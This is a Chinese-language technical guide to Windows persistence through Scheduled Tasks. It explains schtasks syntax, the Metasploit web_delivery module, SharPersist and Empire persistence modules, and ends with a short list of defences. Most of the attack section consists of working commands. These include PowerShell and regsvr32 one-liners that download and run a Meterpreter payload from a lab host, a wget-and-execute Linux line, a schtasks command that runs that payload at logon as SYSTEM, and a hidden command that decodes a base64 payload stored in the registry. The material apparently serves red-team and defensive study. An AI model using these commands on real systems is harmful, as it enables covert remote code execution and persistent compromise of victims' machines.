持久化研究-Scheduled Tasks
字数 1912 2025-08-25 22:58:20
持久化研究:Scheduled Tasks 技术详解
0x01 Scheduled Tasks 基础概念
Scheduled Tasks(计划任务)是 Windows 系统中用于自动执行例行任务的组件,通过监视特定条件(触发器)并在条件满足时执行任务。主要触发器类型包括:
- 特定系统事件发生时
- 特定时间点
- 每日/每周/每月特定时间
- 计算机空闲时
- 系统启动时
- 用户登录时
- 终端服务器会话状态变更时
0x02 Schtasks.exe 命令详解
Schtasks.exe 是 Windows 内置工具,用于管理计划任务,支持本地和远程操作。
常用命令
创建任务:
schtasks /Create
[/S system [/U username [/P [password]]]]
[/RU username [/RP [password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K]
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]
删除任务:
schtasks /Delete
[/S system [/U username [/P [password]]]]
[/TN taskname] [/F]
运行任务:
schtasks /Run
[/S system [/U username [/P [password]]]]
/TN taskname
结束任务:
schtasks /End
[/S system [/U username [/P [password]]]]
/TN taskname
查询任务:
schtasks /Query
[/S system [/U username [/P [password]]]]
[/FO format | /XML] [/NH] [/V] [/TN taskname] [/?]
变更任务:
schtasks /Change
[/S system [/U username [/P [password]]]] /TN taskname
{ [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] ]
[/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }
0x03 Metasploit 与计划任务持久化
使用 Metasploit 的 exploit/multi/script/web_delivery 模块可快速托管 Payload 并生成多种格式的执行命令:
模块参数设置
- 设置 Payload 为
windows/x64/meterpreter/reverse_tcp - 主要 Targets 选项:
- 0 Python
- 1 PHP
- 2 PSH
- 3 Regsvr32
- 4 pubprn
- 5 PSH (Binary)
- 6 Linux
各 Target 生成的 Payload 示例
Python:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());"
PHP:
php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));"
PSH:
powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $H.downloadstring('http://192.168.235.129:8080/n8hDAIbCNMgO');
Regsvr32:
regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll
pubprn:
C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct
PSH (Binary):
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\VfpawmXm.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.235.129:8080/QS03dpwdho', $z); invoke-item $z*
Linux:
wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&
结合计划任务的利用方法
以 Regsvr32 为例:
schtasks /create /tn IStest /tr "regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll" /sc onlogon /ru System
此命令创建了一个在用户登录时以 System 权限执行的计划任务。
Regsvr32.exe 参数说明
/u:反注册 DLL 文件/s:安静模式执行/n:不调用 DllRegisterServer,必须与/i连用/i[:cmdline]:调用 DllInstall
0x04 SharPersist 工具使用
SharPersist 是 FireEye 开发的 Windows 持久化工具包,支持多种技术。
技术表
| 技术 | 参数开关 | 需管理员 | 操作注册表 | 修改文件 |
|---|---|---|---|---|
| KeePass | keepass | 否 | 否 | 是 |
| New Scheduled Task | schtask | 否 | 否 | 是 |
| Registry | reg | 否 | 是 | 否 |
| Startup Folder | startupfolder | 否 | 否 | 是 |
| Tortoise SVN Hook Script | tortoisesvn | 否 | 是 | 否 |
| New Service | service | 是 | 是 | 否 |
| Scheduled Task Backdoor | schtaskbackdoor | 是 | 否 | 是 |
主要功能
创建新计划任务:
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "testTask" -m add -o logon
列出计划任务:
SharPersist -t schtask -m list -n "testTask"
SharPersist -t schtask -m list -o logon
SharPersist -t schtask -m list
计划任务后门:
SharPersist -t schtaskbackdoor -m list -o logon
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m check
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m add
0x05 Empire 框架利用
Empire 提供两个相关模块:
-
persistence/userland/schtasks:- 创建名为 WindowsUpdate 的计划任务
- Payload 存储在注册表:
HKCU:\Software\Microsoft\Windows\CurrentVersion debug - 执行命令:
-NonI -W hidden -c "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))"
-
persistence/elevated/schtasks*:- 需要管理员权限
- 创建名为 Updater 的计划任务
- 用户登录时以 SYSTEM 权限触发
0x06 防御措施
-
审计:
- 使用 PowerSploit 的 PowerUp 模块检查计划任务中的权限弱点
-
操作系统配置:
- 强制任务在认证账户上下文中运行,而非 SYSTEM
- 配置注册表项:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl - GPO 设置:
计算机配置> [策略]> Windows设置>安全设置>本地策略>安全选项:域控制器:允许服务器操作员安排任务,设为禁用
-
特权账户管理:
- 仅允许管理员组调度优先级进程
- GPO 设置:
计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:增加计划优先级
-
用户账号管理:
- 限制用户账户特权
- 仅授权管理员可在远程系统创建计划任务